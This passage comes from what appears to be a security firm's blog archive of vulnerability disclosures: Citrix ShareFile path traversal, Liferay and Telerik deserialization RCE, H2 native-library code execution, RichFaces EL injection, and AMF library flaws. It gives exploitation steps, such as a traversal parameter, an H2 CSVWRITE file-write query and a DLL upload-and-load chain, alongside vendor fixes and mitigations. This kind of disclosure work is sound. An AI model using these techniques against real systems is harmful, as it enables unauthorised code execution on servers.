Important Checkpoints Along The Route

Let's set some breakpoints at some critical points and ensure they get reached and behave as assumed:

  • UploadHttpModule.Application_BeginRequest() – to ensure the HTTP module is actually active (the BeginRequest event handler is the first in the chain of raised events)
  • FieldNameTranslator..ctor() – to ensure the FieldNameTranslator.PostBackID field gets set with our value
  • FilteringWorkerRequest.ParseOrThrow() – to ensure the multipart parsing works as expected
  • UploadContext.set_PostBackID(string) – to ensure the UploadContext.postBackID field is set with our value
  • UploadContext.WritePersistFile() – to ensure the file path and content contain our value

After sending the request, the break point at UploadHttpModule.Application_BeginRequest() should be hit. Here we can also see that the module expects the RawUrl to contain upload and .aspx:

Let's change default.aspx to upload.aspx and send the request again. This time the break point at the constructor of FieldNameTranslator should be hit. Here we can see that the PostBackID field value is taken from a query string parameter named id or uploadid (which is actually configured in the web.config file).

After sending a new request with the query string id=foo, our next break point at FilteringWorkerRequest.ParseOrThrow() should be hit. After stepping through that method, you'll notice that some additional parameters bp and accountid are expected:

Let's add them with bogus values and try it again. This time the break point at UploadContext.WritePersistFile() should get hit where the FileStream gets created:

So, now we have reached the FileStream constructor but the UploadContext.PostBackID field value is null as it hasn't been set yet.

Are We Still On Track?

You may have noticed that the break point at UploadContext.set_PostBackID(string) also hasn't been hit yet. This is because the while loop in FilteringWorkerRequest.ParseOrThrow() uses the result of FilteringWorkerRequest.CopyUntilBoundary(string, string, string) as condition but it returns false on its first call so the while block never gets executed.

When looking at the code of CopyUntilBoundary(string, string, string) (not depicted here), it appears that it fills some buffer with the posted data and returns false if _doneReading is true. The byte array tmpBuffer has a size of 4096 bytes, which our minimalistic example request certainly does not exceed.

After sending a multipart part that is larger than 4096 bytes the break point at the FileStream should get hit twice, once with a null value originating from within the while condition's FilteringWorkerRequest.CopyUntilBoundary(string, string, string) call and once with foo originating from within the while block:

Stepping into the FileStream constructor also shows the resulting path, which is C:\inetpub\wwwroot\Citrix\StorageCenter\context\foo. Although context does not exist, we're already within the document root directory that the w3wp.exe process user has full control of:

Let's prove this by writing a file to it using id=../foo:

We have reached our destination, we can write into the web root directory!

What's In The Backpack?

Now that we're able to write files, how can we exploit this? We have to keep in mind that the id/uploadid parameter is used for both the file path and the content.

That means, the restriction is that we can only use characters that are valid in Windows file system paths. According to the naming conventions of files and paths, the following characters are not allowed:

  • Characters in range of 0–31 (0x00–0x1F)
  • < (less than)
  • > (greater than)
  • : (colon)
  • " (double quote)
  • | (vertical bar or pipe)
  • ? (question mark)
  • * (asterisk)

Here, especially < and > are daunting as we can't write an .aspx web shell, which would require <% … %> or <script runat="server">…</script> blocks. Binary files like DLLs are also out as they require bytes in the range 0–31.

So, is that the end of this journey? At best a denial of service when overwriting existing files? Have we already tried hard enough?

Running With Razor

If you are a little more familiar with ASP.NET, you will probably know that there are not just Web Forms (i. e., .aspx, .ashx, .asmx, etc.) but also two other web application frameworks, one of them being MVC (model/view/controller). And while the models and controllers are compiled to binary assemblies, the views are implemented in separate .cshtml files. These use a different syntax, the Razor Pages syntax, which uses @ symbol to transition from HTML to C#:


@("Hello, World!")

And ShareFile does not just use Web Forms but also MVC:

Note that we can't just add new views as their rendering is driven by the corresponding controller. But we can overwrite an existing view file like the ConfigService\Views\Shared\Error.cshtml, which is accessible via /ConfigService/Home/Error:

What is still missing now is the writing of the actual payload using Razor syntax. We won't show this here, but here is a hint: unlike Unix-based systems, Windows doesn't require each segment in a file path to exist as it gets resolved symbolically. That means, we could use additional "directories" to contain the payload as long as we "step out" of them so that the resolved path still points to the right file.

Timeline And Fix

Code White reported the vulnerability to Citrix on May 14th. On August 25th, Citrix released the ShareFile Storage Zones Controller 5.11.20 to address this vulnerability by validating the passed value before assigning FieldNameTranslator.PostBackID:

On September 14th, Citrix published the Security Bulletin CTX328123.

Liferay Portal JSON Web Service RCE Vulnerabilities

20 March 2020 at 12:31

Code White has found multiple critical rated JSON deserialization vulnerabilities affecting the Liferay Portal versions 6.1, 6.2, 7.0, 7.1, and 7.2. They allow unauthenticated remote code execution via the JSON web services API. Fixed Liferay Portal versions are 6.2Β GA6, 7.0Β GA7, 7.1Β GA4, and 7.2Β GA2.

The corresponding vulnerabilities are:

CST-7111: RCE via JSON deserialization (LPS-88051/LPE-165981)
The JSONDeserializer of Flexjson allows the instantiation of arbitrary classes and the invocation of arbitrary setter methods.
CST-7205: Unauthenticated Remote code execution via JSONWS (LPS-97029/CVE-2020-7961)
The JSONWebServiceActionParametersMap of Liferay Portal allows the instantiation of arbitrary classes and invocation of arbitrary setter methods.

Both allow the instantiation of an arbitrary class via its parameter-less constructor and the invocation of setter methods similar to the JavaBeans convention. This allows unauthenticated remote code execution via various publicly known gadgets.

Liferay released the patched versions 6.2Β GA6 (6.2.5), 7.0Β GA7 (7.0.6) and 7.1Β GA4 (7.1.3) to address the issues; the version 7.2Β GA2 (7.2.1) was already released in November 2019. For 6.1, there is only a fixpack available.

Introduction

Liferay Portal is one of the, if not even the most popular portal implementation as per Java Portlet Specification JSR-168. It provides a comprehensive JSON web service API at '/api/jsonws' with examples for three different ways of invoking the web service method:

  1. Via the generic URL /api/jsonws/invoke where the service method and its arguments get transmitted via POST, either as a JSON object or via form-based parameters (the JavaScript Example)
  2. Via the service method specific URL like /api/jsonws/service-class-name/service-method-name where the arguments are passed via form-based POST parameters (the curl Example)
  3. Via the service method specific URL like /api/jsonws/service-class-name/service-method-name where the arguments are also passed in the URL like /api/jsonws/service-class-name/service-method-name/arg1/val1/arg2/val2/… (the URL Example)

Authentication and authorization checks are implemented within the invoked service methods themselves while the processing of the request and thus the JSON deserialization happens before. However, the JSON web service API can also be configured to deny unauthenticated access.

First, we will take a quick look at LPS-88051, a vulnerability/insecure feature in the JSON deserializer itself. Then we will walk through LPS-97029 that also utilizes a feature of the JSON deserializer but is a vulnerability in Liferay Portal itself.

CST-7111: Flexjson's JSONDeserializer

In Liferay Portal 6.1 and 6.2, the Flexjson library is used for serializing and deserializing data. It supports object binding that will use setter methods of the objects instanciated for any class with a parameter-less constructor. The specification of the class is made with the class object key:

This vulnerability was reported in December 2018 and has been fixed in the Enterprise Edition with 6.1Β EEΒ GA3 fixpackΒ 71 and 6.2Β EEΒ GA2 fixpackΒ 1692 and also the 6.2Β GA6.

CST-7205: Jodd's JsonParser + Liferay Portal's JSONWebServiceActionParametersMap

In Liferay Portal 7, the Flexjson library is replaced by the Jodd Json library that does not support specifying the class to deserialize within the JSON data itself. Instead, only the type of the root object can be specified and it has to be explicitly provided by a java.lang.Class object instance. When looking for the call hierarchy of write access to the rootType field, the following unveils:

While most of the calls have hard-coded types specified, there is one that is variable (see selected call on the right above). Tracing that parameterType variable through the call hierarchy backwards shows that it originates from a ClassLoader.loadClass(String) call with a parameter value originating from an JSONWebServiceActionParameters instance. That object holds the parameters passed in the web service call. The JSONWebServiceActionParameters object has an instance of a JSONWebServiceActionParametersMap that has a _parameterTypes field for mapping parameters to types. That map is used to look up the class for deserialization during preparation of the parameters for invoking the web service method in JSONWebServiceActionImpl._prepareParameters(Class<?>).

The _parameterTypes map gets filled by the JSONWebServiceActionParametersMap.put(String, Object) method:

Here the lines 102 to 110 are interesting: the typeName is taken from the key string passed in. So if a request parameter name contains a ':', the part after it specifies the parameter's type, i. e.:

This syntax is also mentioned in some of the examples in the Invoking JSON Web Services tutorial.

Later in JSONWebServiceActionImpl._prepareParameters(Class<?>), the ReflectUtil.isTypeOf(Class, Class) is used to check whether the specified type extends the type of the corresponding parameter of the method to be invoked. Since there are service methods with java.lang.Object parameters, any type can be specified.

This vulnerability was reported in June 2019 and has been fixed this in 6.2Β GA6, 7.0Β GA7, 7.1Β GA4, and 7.2Β GA2 by using a whitelist of allowed classes.

Demo


  • [1] There are two editions of the Liferay Portal: the Community Edition (CE) and the Enterprise Edition (EE). The CE is free and its source code is available at GitHub. Both editions have their own project and issue tracker at issues.liferay.com: CE has LPS-* and EE has LPE-*. LPS-88051 was created confidentially by Code White for CE and LPE-16598 was created publicly three days later for EE.
  • [2] Fixpacks are only available for the Enterprise Edition (EE) and not for the Community Edition (CE).

Exploiting H2 Database with native libraries and JNI

1 August 2019 at 12:54

Techniques to gain code execution in an H2 Database Engine are already well known but require H2 being able to compile Java code on the fly. This blog post will show a previously undisclosed way of exploiting H2 without the need of the Java compiler being available, a way that leads us through the native world just to return into the Java world using Java Native Interface (JNI).

Introduction

Last week, the blog post Jackson gadgets - Anatomy of a vulnerability by Andrea Brancaleoni of Doyensec was published. It describes how a setter-based vulnerability in the Jackson library can be exploited if the libraries of Logback and H2 Database Engine are available. In short, it exploits the feature of H2 to create user defined functions with Java code that get compiled on the fly using the Java compiler.

But what if the Java compiler is not available? This was the exact case in a recent engagement where a H2 Dabatase Engine instance version 1.2.141 on a Windows system was exposing its web console. We want to walk you through the journey of finding a new way to execute arbitrary Java code without the need of a Java compiler on the target server by utilizing native libraries (.dll or .so) and the Java Native Interface (JNI).

Assessing the Capabilities of H2

Let's assume the CREATE ALIAS … AS … command cannot be used as the Java compiler is not available. A reason for that may be that it's not a Java Development Kit (JDK) but only a Java Runtime Environment (JRE), which does not come with a compiler. Or the PATH environment variable is not properly set up so that the Java compiler javac cannot be found.

However, the CREATE ALIAS … FOR … command can be used:

When referencing a method, the class must already be compiled and included in the classpath where the database is running. Only static Java methods are supported; both the class and the method must be public.

So every public static method can be used. But in the worst case, only h2-1.2.141.jar and JRE are available. And additionally, only supported data types can be used for nested function calls. So, what is left?

While browsing the candidates in the Java runtime library rt.jar, the System.load(String) method stood out. It allows the loading of a native library. That would instantly allow code execution via the library's entry point function.

But how can the library be loaded to the H2 server? Although Java on Windows supports UNC paths and fetches the file, it refuses to actually load it. And this also won't work on Linux. So how can one write a file to the H2 server?

Writing arbitrary Files with H2

A brief look into the H2 functions reference shows that there is a FILE_WRITE function. Unfortunately, FILE_WRITE was introduced in 1.4.190. So we better only check those functions that are available in 1.2.141. The CSVWRITE function is the only one with "write" in its name.

A quick test showed that the CSV column header also gets printed. Looking at the CSV options showed that there is a writeColumnHeader option to disable writing the column header. Unfortunately, the writeColumnHeader option was only added with 1.3/1.4.177.

But while looking at the other supported options fieldSeparator, fieldDelimiter, escape, null, and lineSeparator, there came an idea: what if we blank them all out and use the CSV column header to write our data? And if the H2 database engine allows columns to have arbitrary names with arbitrary length, we ware be able to write arbitrary data.

Looking at H2's grammar for columns, the columnName of a column can be a quoted name, which is defined as:

" anything "

Quoted names are case sensitive, and can contain spaces. There is no maximum name length. Two double quotes can be used to create a single double quote inside an identifier.

That sounds almost perfect. So let's see if we can actually put anything in it and if CSVWRITE is binary-safe.

First, we generate our test data that covers all 8-bit octets:

$ python -c 'import sys;[sys.stdout.write(chr(i)) for i in range(0,256)]' > test.bin
$ sha1sum test.bin
4916d6bdb7f78e6803698cab32d1586ea457dfc8 test.bin

Now we generate a series of CHAR(n) function calls that will generate our binary data in the SQL query:

xxd -p -c 256 test.bin | sed -e 's/../),CHAR(0x&/g' -e 's/^),//' -e 's/$/)/' -e 's/CHAR(0x22)/&,&/g'

We then use it in the following CSVWRITE call:

SELECT CSVWRITE('C:\Windows\Temp\test.bin', CONCAT('SELECT NULL "', … , '"'), 'ISO-8859-1', '', '', '', '', '');

Finally, we test if the written file has the same checksum:

C:\Windows\Temp> certutil -hashfile test.bin SHA1
SHA1 hash of file test.bin:
49 16 d6 bd b7 f7 8e 68 03 69 8c ab 32 d1 58 6e a4 57 df c8
CertUtil: -hashfile command completed successfully.

So, the files seem to be identical!

Entering the native World

Now that we can write a native library to disk using the built-in function CSVWRITE and load it by creating an alias for System.load(String), we just could use the library's entry point to achieve code execution.

But let's take another it step further. Let's see if there is a way to execute arbitrary commands/code from SQL. Not just once the native library gets loaded, but as we like, possibly even with feedback that we can see in the H2 Console.

This is where the Java Native Interface (JNI) comes in. It allows the interaction between native code and the Java Virtual Machine (JVM). So in this case it would allow us to interact with JVM where the H2 Database is running.

The idea now is to use JNI to inject a custom Java class into the running JVM via ClassLoader.defineClass(byte[], int, int). That would allow us to create an alias and call it from SQL.

Calling into the JVM with JNI

First we need to get a handle to the running JVM. This can be done with the JNI_GetCreatedJavaVMs function. Then we attach the current thread to the VM and obtain a JNI interface pointer (JNIEnv). With that pointer we can interact with the JVM and call JNI functions such as FindClass, GetStaticMethodID/GetMethodID> and CallStatic<Type>Method/Call<Type>Method. The plan is to get the system class loader via ClassLoader.getSystemClassLoader() and call defineClass on it:

This basically mimics the following Java code:

The custom Java class JNIScriptEngine has just one single public static method that evaluates the passed script using an available ScriptEngine instance:

Finally, putting everything together:

That way we can execute arbitrary JavaScript code from SQL.

Telerik Revisited

7 February 2019 at 10:04

In 2017, several vulnerabilities were discovered in Telerik UI, a popular UI component library for .NET web applications. Although details and working exploits are public, it often proves to be a good idea to take a closer look at it. Because sometimes it allows you to explore new avenues of exploitation.

Introduction

Telerik UI for ASP.NET is a popular UI component library for ASP.NET web applications. In 2017, several vulnerabilities were discovered, potentially resulting in remote code execution:

CVE-2017-9248: Cryptographic Weakness
A cryptographic weakness allows the disclosure of the encryption key (Telerik.Web.UI.DialogParametersEncryptionKey and/or the MachineKey) used to protect the DialogParameters via an oracle attack. It can be exploited to forge a functional file manager dialog and upload arbitrary files and/or compromise the ASP.NET ViewState in case of the latter.
CVE-2017-11317: Hard-coded default key
A hard-coded default key is used to encrypt/decrypt the AsyncUploadConfiguration, which holds the path where uploaded files are stored temporarily. It can be exploited to upload files to arbitrary locations.
CVE-2017-11357: Insecure Direct Object Reference
The name of the file stored in the location specified in AsyncUploadConfiguration is taken from the request and thus allows the upload of files with arbitrary extension.

The vulnerabilities were fixed in R2 2017 SP1 (2017.2.621) and R2 2017 SP2 (2017.2.711), respectively. As for CVE-2017-9248, there is an analysis by PatchAdvisor[1] that gives some insights and exploitation hints. And regarding CVE-2017-11317, the detailed writeup by @straight_blast seems to have been published even half a year before Telerik published an updated version. It describes in detail how the vulnerability was discovered and how it can be exploited to upload an arbitrary file to an arbitrary location. If you're unfamiliar with these vulnerabilities, you may want to read the linked advisories first to get a better understanding.

The Catch

Although the vulnerabilities sound promising, they all have their catch: exploiting CVE-2017-9248 requires many thousands of requests, which can be pretty noticeable and suspicious. And unless it is actually possible to leak the MachineKey (which would allow an exploitation via deserialization of arbitrary ObjectStateFormatter stream), a file upload to an arbitrary location (i.Β e., CVE-2017-11317) is still limited to the knowledge of an appropriate location with sufficient write permissions.

The problem here is that by default the account that the IIS worker process w3wp.exe runs with is a special account like IIS AppPool\DefaultAppPool. And such an account usually does not have write permissions to the web document root directory like C:\inetpub\wwwroot or similar. Additionally, the web document root of the web application can also be somewhere else and may not be known. So simply writing an ASP.NET web shell probably won't work in many cases.

The Dead End

This was exactly the case when we faced Managed Workplace RMM by Avast Business in a red team assessment where we didn't want to make too much noise. Additionally, unauthenticated access to all *.aspx pages except for Login.aspx was denied, i.Β e., the handler Telerik.Web.UI.DialogHandler.aspx for exploiting CVE-2017-9248 was not reachable, and the other one, Telerik.Web.UI.SpellCheckHandler.axd, was not registered. So, CVE-2017-11317 seemed to be the only option left.

By enumerating known versions of Telerik Web UI, one request to upload to C:\Windows\Temp was finally successful. But an upload to C:\inetpub\wwwroot did not succeed. And since we did not have access to an installation of Managed Workplace, we had no insights into its directory structure. So this seemed to be a dead end.

The New Avenue

While tracing the path of the provided rauPostData through the Telerik code, there was one aspect that became apparent that was never mentioned before by anyone else: The exploitation of CVE-2017-11317 was always advertised as an arbitrary upload. This seems obvious as the handler's name is AsyncUploadHandler and rauPostData contains the upload configuration.

But after taking a closer look at the code that processes the rauPostData, it showed that the rauPostData is expected to consist of two parts separated by a &.

// Telerik.Web.UI.AsyncUpload.SerializationService internal static object Deserialize(string obj, Type type) {  JavaScriptSerializer serializer = SerializationService.GetSerializer(obj.Length);  SerializationService.ApplyConverters(type, serializer);  MethodInfo methodInfo = typeof(JavaScriptSerializer).GetMethod("Deserialize", new Type[]  {   typeof(string)  }, null).MakeGenericMethod(new Type[]  {   type  });  return methodInfo.Invoke(serializer, new object[]  {   obj  }); }

The first part is the JSON data (line 9). And the second part is the assembly qualified type name (line 10) that the JSON data should be deserialize to. The call in line 11 then ends up in SerializationService.Deserialize(string, Type).

// Telerik.Web.UI.AsyncUploadHandler internal IAsyncUploadConfiguration GetConfiguration(string rawData) {  string[] array = rawData.Split(new char[]  {   '&'  });  string obj = array[0];  Type type = Type.GetType(CryptoService.GetService().Decrypt(array[1]));  IAsyncUploadConfiguration asyncUploadConfiguration = (IAsyncUploadConfiguration)SerializationService.Deserialize(obj, type, true);  if (!this.IsValidHMac(asyncUploadConfiguration.TargetFolder) || !this.IsValidHMac(asyncUploadConfiguration.TempTargetFolder))  {   throw new CryptographicException("The hash is not valid!");  }  asyncUploadConfiguration.TargetFolder = AsyncUploadHandler.DecryptFolder(this.GetEncryptedText(asyncUploadConfiguration.TargetFolder));  asyncUploadConfiguration.TempTargetFolder = AsyncUploadHandler.DecryptFolder(this.GetEncryptedText(asyncUploadConfiguration.TempTargetFolder));  return asyncUploadConfiguration; }

Here a JavaScriptSerializer gets parameterized with the type provided in the rauPostData. That means this is an arbitrary JavaScriptSerializer deserialization!

From the research Friday the 13th JSON Attacks by Alvaro MuΓ±oz & Oleksandr Mirosh it is known that arbitrary JavaScriptSerializer deserialization can be harmful if the expected type can be specified by the attacker. During deserialization, appropriate setter methods get called. A suitable gadget is the System.Configuration.Install.AssemblyInstaller, which allows the loading of a DLL by specifying its path. If the DLL is a mixed mode assembly, its DllMain() entry point gets called on load, which allows the execution of arbitrary code in the context of the w3wp.exe process.

This allowed the remote code execution on Managed Workplace without authentication. The issue has been addressed and should be fixed in Managed Workplace 11 SP4 MR2.

Conclusion

So CVE-2017-11317 can be exploited even without the requirement of being able to write to the web document root:

  1. Upload a mixed mode assembly DLL to a writable location using the regular AsyncUploadConfiguration exploit.
  2. Load the uploaded DLL and thereby trigger its DllMain() function using the AssemblyInstaller exploit described above.

This is an excellent example that revisiting old vulnerabilities can be worthwhile and result in new ways out of a supposed dead end.


Poor RichFaces

30 May 2018 at 13:00

RichFaces is one of the most popular component libraries for JavaServer Faces (JSF). In the past, two vulnerabilities (CVE-2013-2165 and CVE-2015-0279) have been found that allow RCE in versions 3.x ≀ 3.3.3 and 4.x ≀ 4.5.3. Code White discovered two new vulnerabilities which bypass the implemented mitigations. Thereby, all RichFaces versions including the latest 3.3.4 and 4.5.17 are vulnerable to RCE.

Introduction

JavaServer Faces (JSF) is a framework for building user interfaces for web applications. While there are only two major JSF implementations (i. e., Apache MyFaces and Oracle Mojarra), there are several component libraries, which provide additional UI components and features. RichFaces is one of the most popular libraries among these component libraries and since it became part of JBoss (and thereby also part of Red Hat), it is also part of several JBoss/Red Hat products, for example JBoss EAP and JBoss Portal.[1]

RichFaces has three major version branches: 3.x, 4.x, and 5.x. However, as 5.x has never left alpha state, it is rather irrelevant. In early 2016, the developers of RichFaces announced the end-of-life of RichFaces in June 2016. The latest releases of the respective branches are 3.3.4 and 4.5.17.

The Past

In the past, two significant vulnerabilities have been discovered by Takeshi Terada of MBSD, which both affect various RichFaces versions:

CVE-2013-2165: Arbitrary Java Deserialization in RichFaces 3.x ≀ 3.3.3 and 4.x ≀ 4.3.2
Deserialization of arbitrary Java serialized object streams in org.ajax4jsf.resource.ResourceBuilderImpl allows remote code execution.
CVE-2015-0279: Arbitrary EL Evaluation in RichFaces 4.x ≀ 4.5.3 (RF-13977)
Injection of arbitrary EL method expressions in org.richfaces.resource.MediaOutputResource allows remote code execution.

Both vulnerabilities rely on the feature to generate images, video, sounds, and other resources on the fly based on data provided in the request. The provided data is either interpreted as a plain array of bytes or as a Java serialized object stream. In RichFaces 3.x, the data gets appended to the URL path preceded by either /DATB/ (byte array) or /DATA/ (Java serialized object stream); in RichFaces 4.x, the data is transmitted in a request parameter named db (byte array) or do (Java serialized object stream). In all cases, the binary data is compressed using DEFLATE and then encoded using a URL-safe Base64 encoding.

CVE-2013-2165: Arbitrary Java Deserialization

This vulnerability is a straight forward Java deserialization vulnerability. When a RichFaces 3.x resource is requested, it eventually gets processed by ResourceBuilderImpl.getResourceDataForKey(String). If the requested resource key begins with /DATA/, the remaining data gets decoded and decompressed (using ResourceBuilderImpl.decrypt(byte[]), which actually, despite its name, does not incorporate encryption[2]) and finally deserialized without any further validation.

In RichFaces 4.x, it is basically the same: the org.richfaces.resource.DefaultCodecResourceRequestData holds the request data passed via db/do and Util.decodeObjectData(String) is used in the latter case. That method then decodes and decompresses the data in a similar way and finally deserializes it without any further validation.

This can be exploited with ysoserial using a suitable gadget.

The arbitrary Java deserialization was patched in RichFaces 3.3.4 and 4.3.3 by introducing look-ahead deserialization with a limited set of whitelisted classes.[3] Due to several aftereffects, the list was extended occasionally.[4]

CVE-2015-0279: Arbitrary EL Evaluation

The RichFaces issue RF-13977 corresponding to this vulnerability is public and actually quite detailed. It describes that the RichFaces Showcase application utilizes the MediaOutputResource dynamic resource builder. The data object passed in the do URL parameter holds the state object, which is used by MediaOutputResource.restoreState(FacesContext, Object) to restore its state. This includes the contentProducer field, which is expected to be a MethodExpression object. That MethodExpression later gets invoked by MediaOutputResource.encode(FacesContext) to pass execution to the referenced method to generate the resource's contents. In the mentioned example, the EL method expression #{mediaBean.process} references the process method of a Java Bean named mediaBean.

Now the problem with that is that the EL expression can be changed, even just with basic Linux utilities. There is no protection in place that would prevent one from tampering with it. Depending on the EL implementation, this allows arbitrary code execution, as demonstrated by the reporter:

However, exploitation of this vulnerability is not always that easy. Especially if there is no existing sample of a valid do state object that can be tampered with. Because if one would want to create the state object, it would require the use of compatible libraries, otherwise the deserialization may fail. Moreover, the EL implementation does not allow arbitrary expressions with parameterized invocations in method expressions as this has only just been added in EL 2.2. EL exploitation is quite an interesting topic in itself.

The patch for this issue introduced in RichFaces 4.5.4 was to check the expression of the contentProducer whether it contains a parenthesis. This would prevent the invocation of methods with parameters like loadClass("java.lang.Runtime").

The Present

The kind of the past vulnerabilities led to the assumption that there may be a way to bypass the mitigations. And after some research, two ways were found to gain remote code execution in a similar manner also affecting the latest RichFaces versions 3.3.4 and 4.5.17:

RF-14310: Arbitrary EL Evaluation in RichFaces 3.x ≀ 3.3.4
Injection of arbitrary EL expressions allows remote code execution via org.richfaces.renderkit.html.Paint2DResource.
RF-14309: Arbitrary EL Evaluation in RichFaces 4.5.3 ≀ 4.5.17
Injection of arbitrary EL variable mapper allows to bypass mitigation of CVE-2015-0279 and thereby remote code execution.

Although the issues RF-14309 and RF-14310 were discovered in the order of their identifier, we'll explain them in the opposite order. Also note that the issues are not public but only visible to persons responsible to resolve security issues.

RF-14310: Arbitrary EL Evaluation

This vulnerability is very similar to CVE-2015-0279/RF-13799. While the injection of arbitrary EL expressions was possible right from the beginning, there is always a need to get them triggered somehow. This similarity was found in the org.richfaces.renderkit.html.Paint2DResource class. When a resource of that type gets requested, its send(ResourceContext) method gets called. The resource data transmitted in the request must be an org.richfaces.renderkit.html.Paint2DResource$ImageData object. This passes the whitelisting as ImageData extends org.ajax4jsf.resource.SerializableResource, which actually was introduced in 3.3.4 to fix the Java deserialization vulnerability.

RF-14309: Arbitrary EL Evaluation

As the patch to CVE-2015-0279 introduced in 4.5.4 disallowed the use of parenthesis in the EL method expression of the contentProducer, it seemed like a dead end. But if you are fimilar with EL internals, you would know that they can have custom function mappers and variable mappers, which are used by the ELResolver to resolve functions (i. e., name in ${prefix:name()}) and variables (i. e., var in ${var.property}) to Method and ValueExpression instances respectively. Fortunately, various VariableMapper implementations were added to the whitelist starting with 4.5.3.[5]

So to exploit this, all that is needed is to use a variable in the contentProducer method expression like ${dummy.toString} and add an appropriate VariableMapper to the method expression that maps dummy to a ValueExpression of your choice.

The Future

RichFaces has reached its end-of-life in June 2016 and their RichFaces End-Of-Life Questions & Answers is pretty clear on the time thereafter:

What will happen if a serious bug or security issue is discovered in the future?

There will be no patches after the end of support. In case of discovering a serious issue you will have to develop a patch yourself or switch to another framework.

– RichFaces End-Of-Life Questions & Answers

So we can't expect official patches.

The Bonus

While looking for ways to exploit the recent versions of RichFaces, there were two classes in the JSF API 2.0 and later, which seemed promising:

The interesting thing about these classes is that they have a equals(Object) method, which eventually calls getType(ELContext) on a EL value expression. For example, if equals(Object) gets called on a ValueExpressionValueBindingAdapter object with a ValueExpression object as other, getType(ELContext) of other gets called. And as the value expression has to be evaluated to determine its resulting type, this can be used as a Java deserialization primitive to execute EL value expressions on deserialization.

This is very similar to the Myfaces1 and Myfaces2 gadgets in ysoserial.[6] However, while they require Apache MyFaces, this one is independent from the JSF implementation and only requires a matching EL implementation.

Unfortunately, this gadget does not work for RichFaces. The reason for that is that ValueExpressionValueBindingAdapter needs to have a valid value binding as getType(ELContext) gets called first. But javax.faces.el.ValueBinding is not whitelisted. And wrapping it in a StateHolderSaver does not work because the state object is of type Object[] and therefore the cast to Serializable[] in StateHolderSaver.restore(FacesContext) fails.[7] This is probably a bug in RichFaces as Serializable[] is not whitelisted either although StateHolderSaver uses Serializable[] internally on StateHolder instances.

Conclusion

It has been shown that all RichFaces versions 3.x and 4.x including the latest 3.3.4 and 4.5.17 are exploitable by one or multiple vulnerabilities:

  • RichFaces 3
    • 3.1.0 ≀ 3.3.3: CVE-2013-2165
    • 3.1.0 ≀ 3.3.4: RF-14310
  • RichFaces 4
    • 4.0.0 ≀ 4.3.2: CVE-2013-2165
    • 4.0.0 ≀ 4.5.4: CVE-2015-0279
    • 4.5.3 ≀ 4.5.17: RF-14309

As we can't expect official patches, one way to mitigate all these vulnerabilities is to block requests to the concerned URLs:

  • Blocking requests of URLs with paths containing /DATA/ should mitigate CVE-2013-2165 and RF-14310.
  • Blocking requests of URLs with paths containing org.richfaces.resource.MediaOutputResource (literally or URL encoded) should mitigate CVE-2015-0279 and RF-14309.

AMF – Another Malicious Format

4 April 2017 at 14:01

AMF is a binary serialization format primarily used by Flash applications. Code White has found that several Java AMF libraries contain vulnerabilities, which result in unauthenticated remote code execution. As AMF is widely used, these vulnerabilities may affect products of numerous vendors, including Adobe, Atlassian, HPE, SonicWall, and VMware.

Vulnerability disclosure has been coordinated with US CERT (see US CERT VU#307983).

Summary

Code White has analyzed the following popular Java AMF implementations:

Each of these have been found to be affected by one or more of the following vulnerabilities:

  • XML external entity resolution (XXE)
  • Creation of arbitrary objects and setting of properties
  • Java Deserialization via RMI

The former two vulnerabilities are not completely new.1 But we found that other implementations are also vulnerable. Finally, a way to turn a design flaw common to all implementations into a Java deserialization vulnerability has been discovered.

XXE JavaBeans Setters Deserialization via RMI
Adobe Flex BlazeDS
4.6.0.23207
β˜’ ☐ β˜’
Apache Flex BlazeDS
4.7.2
☐ ☐ β˜’
Flamingo AMF Serializer
2.2.0
β˜’ β˜’ β˜’
GraniteDS
3.1.1.GA
β˜’ β˜’ β˜’
WebORB for Java
5.1.0.0
β˜’ β˜’ β˜’

We'll get into details later, except for the XXE. If you're looking for details on that, have a look at our previous blog post CVE-2015-3269: Apache Flex BlazeDS XXE Vulnerabilty.

Introduction

The Action Message Format version 3 (AMF3) is a binary message format mainly used by Flash applications for communicating with the back end. Like JSON, it supports different kind of basic data types. For backwards compatibility, AMF3 is implemented as an extension of the original AMF (often referred to as AMF0), with AMF3 being a newly introduced AMF0 object type.

One of the new features of AMF3 objects is the addition of two certain characteristics, so called traits:

[…] ActionScript 3.0 introduces two further traits to describe how objects are serialized, namely 'dynamic' and 'externalizable'. The following table outlines the terms and their meanings:
  • […]
  • Dynamic: an instance of a Class definition with the dynamic trait declared; public variable members can be added and removed from instances dynamically at runtime
  • Externalizable: an instance of a Class that implements flash.utils.IExternalizable and completely controls the serialization of its members (no property names are included in the trait information).
β€” http://www.adobe.com/go/amfspec

Let's elaborate on these new traits, especially on how these are implemented and the resulting implications.

The Dynamic Trait

The dynamic trait is comparable to JavaBeans functionality: it allows the creation of an object by specifying its class name and its properties by name and value. And actually, many implementations use existing JavaBeans utilities such as the java.beans.Introspector (e. g., Flamingo, Flex BlazeDS, WebORB) or they implement their own introspector with similar functionality (e. g., GraniteDS).

That this kind of functionality can pose an exploitable vulnerability has already been noticed and shown various times. Frankly, Wouter Coekaerts had already reported this kind of vulnerability in some AMF implementations in 2011 and published an exploit for applications based on Catalina (e. g., Tomcat) in 2016. And with the advent of Java deserialization vulnerability research, even a way of extending arbitrary setter calls to Java deserialization using JRE classes only has been suggested.

The Externalizable Trait

The externalizable trait is comparable to Java's java.io.Externalizable interface. And in fact, all mentioned library vendors actually interpreted the flash.utils.IExternalizable interface from the specification as being equivalent to Java's java.io.Externalizable, effectively allowing the reconstruction of any class implementing the java.io.Externalizable interface.

Short excursion regarding the different between java.io.Serializable and java.io.Externalizable: if you look at the java.io.Serializable interface, you'll see it is empty. So there are no formal contracts that can be enforced at build time by the compiler. But classes implementing the java.io.Serializable interface have the option to override the default serialization/deserialization by implementing various methods. That means there are a lot of additional checks during runtime whether an actual object implements one of these opt-in methods, which makes the whole process bloated and slow.

Therefore, the java.io.Externalizable interface was introduced, which specifies two methods, readExternal(java.io.ObjectInput) and writeExternal(java.io.ObjectInput), that give the class complete control over the serialization/deserialization. This means no default serialization/deserialization behavior, no additional checks during runtime, no magic. That makes serialization/deserialization using java.io.Externalizable much simpler and thus faster than using java.io.Serializable.

But now let's get back on track.

Turning Externalizable.readExternal into ObjectInputStream.readObject

In OpenJDK 8u121, there are 15 classes implementing the java.io.Externalizable and most of them only do boring stuff like reconstructing an object's state. Additionally, the actual instances of the java.io.ObjectInput passed to Externalizable.readExternal(java.io.ObjectInput) methods of the implementations are also not an instance of java.io.ObjectInputStream. So no quick win here.

